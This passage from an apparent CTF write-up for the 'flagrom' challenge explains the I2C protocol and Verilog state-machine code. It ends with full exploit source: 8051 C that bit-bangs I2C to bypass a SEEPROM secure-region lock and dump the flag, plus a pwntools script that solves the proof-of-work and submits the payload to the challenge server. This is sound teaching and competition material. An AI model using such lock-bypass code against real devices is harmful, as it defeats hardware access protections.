Finally, there’s another assignment syntax that’s worth explaining since it’s being used:

i2c_control <= {i2c_control[6:0], i_i2c_sda};

This line takes the 7 LSB of i2c_control (0-6) and one bit from i_i2c_sda and puts them back into i2c_control register. It’s equivalent to shifting the i2c_control bits left, and inserting one bit from i_i2c_sda.
This syntax is used a lot when we want to read a full byte from the data line, and then evalute its contents.

You should now have enough knowledge to be able to take on the seeprom.sv file on your own. We recommend breaking down the big loop and understand its operation properly.

Good luck!

Appendix B. I2C crash course

Intro

Very shortly, I2C is an inter-integrated chip bus – a protocol for different hardware components to communicate (e.g.: A CPU and an EEPROM). Since this protocol is about different hardware parts comunicating with one another, it has two lines: a clock line and a data line.

The clock line is used to synchronize the two components to read & write at agreed upon intervals, and the data line is used to send and receive the actual bits.

Bit Banging

There’s a really good description of the signaling part of the protocol here, and we encourage you to read it (just the protocol clause). It will help you understand how the “bit-banging” works – the process of sending bits from point A to point B.

Once you’ve wrapped your head around the protocol, it’s easy to understand this Verilog state machine code, present in seeprom.sv:

always_comb begin
  if (i2c_last_scl && i_i2c_scl) begin
    i2c_scl_state = I2C_SCL_STABLE_HIGH;
  end else if (!i2c_last_scl && !i_i2c_scl) begin
    i2c_scl_state = I2C_SCL_STABLE_LOW;
  end else if (i2c_last_scl && !i_i2c_scl) begin
    i2c_scl_state = I2C_SCL_FALLING;
  end else if (!i2c_last_scl && i_i2c_scl) begin
    i2c_scl_state = I2C_SCL_RISING;
  end
end

always_comb begin
  if (i2c_scl_state == I2C_SCL_STABLE_HIGH) begin
    i2c_start = i2c_last_sda && !i_i2c_sda;
    i2c_stop = !i2c_last_sda && i_i2c_sda;
  end else begin
    i2c_start = 0;
    i2c_stop = 0;
  end
end

This code shifts between the various states of I2C, according to the protocol. As an exercise, you can look at how the start & stop conditions are implemented, and see that they indeed match the definitions present in the provided link.
It’s also relatively easy to see that this logic does not seem to be flawed, and the bug is probably not present here.

The start signal signals the devices on the bus to get ready, for a transaction is about to take place. The stop signal, signals it’s finished. Transactions are answered with ACK/NACK, to signal if the requested operation was successful or not.

A little more logic

Now that you understand how the signaling (start, stop, send bit, receive bit) works, let’s talk about the logical level beyond the bits. There can be several different devices on the bus, and we want to be able to address different devices. Thus – the first byte we will transmit on the bus, will be the addressing byte. This byte is composed of 7 bits of address, and one bit that specifies the operation we would like to perform – either write (0) or read (1). For example:

|      ADDR   | r/w |
|   1010000   |  0  |
|        0xa0       |

The bits 0b10100000 (0xa0) means that we would like to perform a write operation to address 0x50.

Once we send the address bytes with the proper operation, we can start writing a message to the device, or receive data from it. It really depends how the device was implemented and what bytes it might expect or send. There are standards, but we will not elaborate about them in this scope.

|      ADDR   | r/w | |   DATA   | |  ...  |
|   1010000   |  0  | | 11111111 | |  ...  |
|        0xa0       | |   0xFF   | |  ...  |

I2C Controller

Writing C code to perform all this bit-banging process is a lot of work, and prone to errors. Instead, users who wish to communicate with other devices on the bus use an I2C controller. This is a device we can communicate with using a defined interface, which usually would be much easier, than having to implement the entire protocol. Simply state the address and data, and the I2C controller would deliver the data on the bus. Such controllers are very common, each having its own interface.

Summary

That’s about it – not too hard, and we spared you the uglier details. The key takeaways relevant for this exercise:

  • The bit-banging part in seeprom.sv seems solid – the problem is probably in the state-machine implementation (i.e. the protocol layer, not the signaling layer).
  • I2C uses one address byte, and then sends or receives data, depending on the operation.
  • I2C transactions start with a start signal and stops with a stop signal.

Appendix C. Source Code:

// exploit.c

__sfr __at(0xff) POWEROFF;
__sfr __at(0xfd) CHAROUT;

__xdata __at(0xee00) unsigned char MYBUF[0x100];

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

const SEEPROM_I2C_ADDR_MEMORY = 0b10100000; // 0xa0
const SEEPROM_I2C_ADDR_SECURE = 0b01010000; // 0x50

void printMYBUFF()
{
  int i = 0;
  for(i=0; i<0x100; i++)
  {
    CHAROUT = MYBUF[i];
  }
}

unsigned char bitbang_recv_byte() {
  int i;
  char c;
  for (i = 0; i<= 7; ++i) {
    RAW_I2C_SCL = 0;
    RAW_I2C_SCL = 1;
    c = (c << 1) | RAW_I2C_SDA ;
  }
  return c;
}

void bitbang_send_byte(unsigned char data) {
  int i;
  for (i = 0; i<= 7; ++i) {
    RAW_I2C_SCL = 0;    
    RAW_I2C_SDA = ((data >> (7-i)) & 1);
    RAW_I2C_SCL = 1;
  }
}

char bitbang_recv_ack(void) {
  char val = 0;
  RAW_I2C_SCL = 0;
  RAW_I2C_SCL = 1;
  val = RAW_I2C_SDA ^ 1;
  return val;
}

void bitbang_start() {
   RAW_I2C_SCL = 0;
   RAW_I2C_SDA = 1;
   RAW_I2C_SCL = 1;
   RAW_I2C_SDA = 0;
}

void bitbang_read_flag(unsigned char addr) {
  char c;
  int i = 0;
  // WRITE operation
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_MEMORY | 0); 
  bitbang_recv_ack();

  //LOAD address
  bitbang_send_byte(addr);
  bitbang_recv_ack();

  // READ 1 byte
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_MEMORY | 1); 
  bitbang_recv_ack();
  MYBUF[i] = bitbang_recv_byte();

  // SECURE address
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_SECURE | 0b0001);
  bitbang_recv_ack();

  // READ operation
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_MEMORY | 1);
  bitbang_recv_ack();

  // READ 64 bytes
  for (i=1; i<64; i++) {
    MYBUF[i] = bitbang_recv_byte();
    bitbang_recv_ack();
  }
}

void main(void) {
  int i;
  for (i = 0; i<0x100; ++i) {
    MYBUF[i] = 0x42;  
  }
  MYBUF[i] = 0;

  bitbang_read_flag(61);
  printMYBUFF();
  POWEROFF = 1;

}
# exploit.py

import hashlib
import string
import socket
from sys import argv

from pwn import remote
from pwn import *

def get_pow(prefix):
    m = hashlib.md5()
    for c1 in string.printable:
        for c2 in string.printable:
            for c3 in string.printable:
                for c4 in string.printable:
                    for c5 in string.printable:
                        s = 'flagrom-' + c1 + c2 + c3 + c4 + c5
                        if hashlib.md5(s).hexdigest().startswith(prefix):
                            return s


def local_ctf():
    p = tubes.process.process('flagrom');
    do_all(p)

def remote_ctf():
    p = remote('flagrom.ctfcompetition.com', 1337)
    do_all(p)

def do_all(s):
    res = s.recvline()
    print res
    prefix = res.split(' ')[-1][:-2]
    print 'prefix: %s' % prefix    
    resp = get_pow(prefix)
    print 'found md5: %s' % resp
    s.sendline(resp)

    res = s.recvline()
    print res
    f = open('exploit.8051', 'rb')
    data = f.read()
    f.close()
    print 'sending response: %d\n' % len(data)

    s.sendline('%d' % len(data))
    s.sendline(data)
    s.interactive()

def main():
    #local_ctf()
    remote_ctf()

if __name__ == '__main__':
    main()